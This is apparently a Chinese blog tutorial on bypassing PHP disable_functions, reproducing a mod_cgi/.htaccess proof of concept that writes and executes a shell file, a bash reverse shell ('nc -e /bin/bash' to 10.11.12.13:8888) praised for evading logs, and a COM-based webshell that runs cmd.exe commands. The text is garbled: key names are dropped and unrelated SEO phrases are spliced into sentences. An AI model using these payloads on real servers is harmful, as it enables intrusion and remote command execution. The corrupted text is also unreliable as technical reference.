第一個(gè)條件最好滿足,因?yàn)槲覀兙褪?php5的環(huán)境;第二個(gè)就是
2023-04-24
第一個(gè)條件最好滿足,因?yàn)槲覀兪?php5環(huán)境;
再來(lái)看第二種情況:
默認(rèn)情況下安裝模塊后,它將被啟用。 您可以使用以下命令查看已安裝的模塊:
httpd - M
真的嗎? 下面我們看一下官方文檔。
()
根據(jù)描述網(wǎng)站建設(shè),函數(shù)如下:
任何具有 mime 類型 /x--cgi 或由 cgi-(1.1 或更高版本)處理的文件都將被視為 CGI 腳本并由服務(wù)器運(yùn)行,其輸出將返回給客戶端。 有兩種方法可以使文件成為 CGI 腳本,或者文件具有指令已經(jīng)定義的擴(kuò)展名,或者文件位于目錄中。
其實(shí)很簡(jiǎn)單:模塊就是在服務(wù)器上運(yùn)行cgi腳本文件或者自定義格式的腳本文件,并返回輸出。
第三個(gè)條件和第四個(gè)條件都是關(guān)于的。 一起來(lái)看看吧。
首先,第四個(gè)條件是文件可以寫(xiě)入。 這很簡(jiǎn)單。 一般在指定的web目錄下啟用該文件。 我們都可以在web目錄下創(chuàng)建文件,寫(xiě)文件自然就簡(jiǎn)單了。
至于第三個(gè)條件。 該文件是否生效取決于配置文件中指定web目錄下參數(shù)值的設(shè)置。
當(dāng)設(shè)置為無(wú)時(shí),. 文件被完全忽略。 當(dāng)此指令設(shè)置為 All 時(shí),所有帶有“.”的指令。 中允許的范圍。 文件。
這里我直接把配置文件的web目錄下的參數(shù)設(shè)置為ALL。
可能有人會(huì)說(shuō)這個(gè)設(shè)置有點(diǎn)囧,它不是默認(rèn)配置!
先來(lái)看看官方文檔介紹(#)
其中提到:2.3.8及之前的版本,參數(shù)默認(rèn)值為ALL
2.3.9版本后才改為None,影響范圍還是比較大的。 但是,目前沒(méi)有。 文件在我的網(wǎng)站目錄中。 這實(shí)際上并沒(méi)有影響它,這將在后面解釋。
好吧,這里我們已經(jīng)滿足了所有 4 個(gè)條件apache運(yùn)行php文件,讓我們嘗試重現(xiàn)它。
開(kāi)始繁殖
這里直接使用的poc。
.php
\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener "; //call the script } } ?>
將php文件直接上傳到web目錄下,執(zhí)行反彈命令,我們打開(kāi)監(jiān)聽(tīng)服務(wù)器的指定端口,然后嘗試訪問(wèn)該文件。
反彈成功,可以執(zhí)行命令,繞過(guò)限制。
原因研究
下面分析一下為什么這個(gè)poc可以實(shí)現(xiàn)命令執(zhí)行?
.php簡(jiǎn)單分析:
首先,它將反彈命令寫(xiě)入 . 當(dāng)前目錄下的文件。 不知道這個(gè)后綴沒(méi)關(guān)系,后面會(huì)解釋。
下面是為檢查是否滿足指定條件而創(chuàng)建的函數(shù)。
然后檢查 url 中是否有字段,如果沒(méi)有嘗試創(chuàng)建一個(gè) . 文件,然后重定向 url 以添加 ?=true。
接下來(lái)依次檢查:
1. mod_cgi 模塊是否啟用 2. 當(dāng)前目錄是否可寫(xiě); 3. . htaccess 文件是否可以生效;
如果不滿足,會(huì)報(bào)錯(cuò),不滿足使用條件。
接下來(lái),備份原始 .file 并創(chuàng)建一個(gè)包含以下內(nèi)容的新 .file:
Options +ExecCGI\nAddHandler cgi-script .dizzle
創(chuàng)建一個(gè).file,賦予權(quán)限777,最后通過(guò)js調(diào)用腳本在服務(wù)器上運(yùn)行。
思路很清晰,創(chuàng)建的文件其實(shí)在服務(wù)器和瀏覽器上都能看到。
添加一個(gè)新的.fileapache運(yùn)行php文件,看看里面的內(nèi)容
內(nèi)容是:
Options + ExecCGI AddHandler cgi - script . dizzle
指令含義見(jiàn)指令詳解()
這意味著允許該模塊執(zhí)行 CGI 腳本。
和 -。 這意味著后綴名為 . 調(diào)用cgi程序處理。
這與另一種配置非常相似,兩者之間有什么區(qū)別?
AddType 是與類型表相關(guān)的,描述的是擴(kuò)展名與文件類型之間的關(guān)系,如: AddType application / x - x509 - ca - cert . crt 說(shuō)明 .crt 擴(kuò)展名的文件就是application/x-x509-ca-cert類型的; 在內(nèi)容協(xié)商時(shí),如果客戶端需要是application/x-x509-ca-cert類型的,就將 .crt結(jié)尾的資源返回 注意: 經(jīng)過(guò)內(nèi)容協(xié)商的資源,在 http 相應(yīng)頭中有相應(yīng)的 Content - Location 說(shuō)明,如: GET / a HTTP / 1.1 … … Content - Location : a . php … AddHandler 說(shuō)明什么樣的擴(kuò)展名使用什么樣的程序來(lái)處理,描述的是擴(kuò)展名與處理程序之間的關(guān)系 AddHandler cgi - script . cgi
簡(jiǎn)而言之
就是定義什么樣的后綴名的文件對(duì)應(yīng)的文件類型
是定義了對(duì)應(yīng)什么樣的后綴文件
添加一個(gè)新的.file,里面的內(nèi)容是
頁(yè)面js調(diào)用。
好了,基本上復(fù)現(xiàn)成功就到這里seo優(yōu)化,原理也說(shuō)明了。 理解它的最好方法是手動(dòng)重現(xiàn)它。
使用
其實(shí)網(wǎng)上的資料很多,但是復(fù)發(fā)記錄的不多。 原因可能是默認(rèn)沒(méi)有安裝這個(gè)擴(kuò)展,這種方式比較冷門(mén)。
擴(kuò)展是為了讓 PHP 支持多線程操作而開(kāi)發(fā)的。 默認(rèn)情況下,不安裝此擴(kuò)展。
所以為了復(fù)現(xiàn),我們需要自己安裝擴(kuò)展,這里需要用到(用于給PHP動(dòng)態(tài)添加擴(kuò)展,避免重新編譯安裝php),如果命令不存在或者執(zhí)行報(bào)錯(cuò),可以使用 yum 或 apt-get 安裝 php。
安裝擴(kuò)展的時(shí)候記得下載和安裝的php同版本的源碼包。 如果找不到,就去PHP5博物館()找下載。
--安裝教程參考:
php5.5安裝擴(kuò)展()
如何安裝php擴(kuò)展()
請(qǐng)記住,需要從中刪除 php.ini。
安裝完成后,可以準(zhǔn)備兩個(gè)文件,上傳到web目錄下。
.php,核心是利用擴(kuò)展函數(shù)執(zhí)行指定的腳本。
test.sh,由于腳本可以是腳本,比較靈活,建議直接反彈
#!/bin/bash nc - e / bin / bash 10.11 . 12.13 8888
此時(shí),我們的遠(yuǎn)程服務(wù)器開(kāi)始監(jiān)聽(tīng)并嘗試訪問(wèn) .php。
命令執(zhí)行成功,頁(yè)面錯(cuò)誤沒(méi)有影響。 這樣使用的好處是此時(shí)不會(huì)有記錄,斷開(kāi)連接時(shí)只有一條記錄。 遮瑕還行~
使用COM組件繞過(guò),這是上層繞過(guò)的手勢(shì)之一。
繞過(guò)的姿勢(shì)可以在PHP 5.x系列中使用。 無(wú)奈之下,只能用我本機(jī)10重現(xiàn)了。 我還以為是9102年前。 這個(gè)姿勢(shì)可能無(wú)效。 測(cè)試了一下,還是可以的~
測(cè)試環(huán)境
操作系統(tǒng): Windows 10 Apache 版本: Apache2 PHP 版本: PHP 5.6 . 15 禁用函數(shù):symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
為了方便,我直接用搭建的環(huán)境,也配置好上傳了。 我可以查看文件,但無(wú)法執(zhí)行命令。
當(dāng)然,利用這個(gè)漏洞還是需要一定的條件的,因?yàn)槭荂OM組件的問(wèn)題,所以必須現(xiàn)在在php.ini中啟用相關(guān)的dll和配置,然后重啟。
extension = php_com_dotnet . dll com . allow_dcom = true
下面簡(jiǎn)單介紹一下COM組件的用途:
COM 組件由作為 動(dòng)態(tài)鏈接庫(kù) (DLL) 或可執(zhí)行文件 (EXE) 分發(fā)的可執(zhí)行代碼組成。 按照 COM 規(guī)范編寫(xiě)的組件將能夠滿足組件體系結(jié)構(gòu)的所有要求。 COM組件可以為應(yīng)用程序、操作系統(tǒng)和其他組件提供服務(wù); 自定義 COM 組件可以在運(yùn)行時(shí)與其他組件連接以形成應(yīng)用程序; COM 組件可以動(dòng)態(tài)插入應(yīng)用程序或從應(yīng)用程序中刪除。
重復(fù)過(guò)程
這里直接使用構(gòu)造好的poc
通訊.php
exec('cmd.exe /c '.$command); //調(diào)用對(duì)象方法來(lái)執(zhí)行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?>
然后嘗試訪問(wèn)
http : //url/comm.php?a=whoami
嘗試查看當(dāng)前目錄 pwd
讓我們看看能不能玩計(jì)算器
真的可以,效果很棒,這種啟用COM組件的php站點(diǎn)簡(jiǎn)直就是繞過(guò)殺手。
- 結(jié)論
好了,這里介紹了很多姿勢(shì),雖然還有很多其他的姿勢(shì)沒(méi)有介紹,比如:
繞過(guò)(和類似的,需要安裝 imap 擴(kuò)展)
黑名單功能繞過(guò)(使用冷門(mén)功能執(zhí)行命令)
perl 擴(kuò)展安全模式繞過(guò)
分機(jī)旁路
...
有興趣的朋友可以自行復(fù)現(xiàn)體驗(yàn)。 這里就不繼續(xù)補(bǔ)充了。 雖然在寫(xiě)完這篇教程后在環(huán)境搭建上花費(fèi)了很多時(shí)間,但還是收獲不少。 學(xué)無(wú)止境。 我覺(jué)得有些東西需要學(xué)習(xí)。 還有很多~
參考鏈接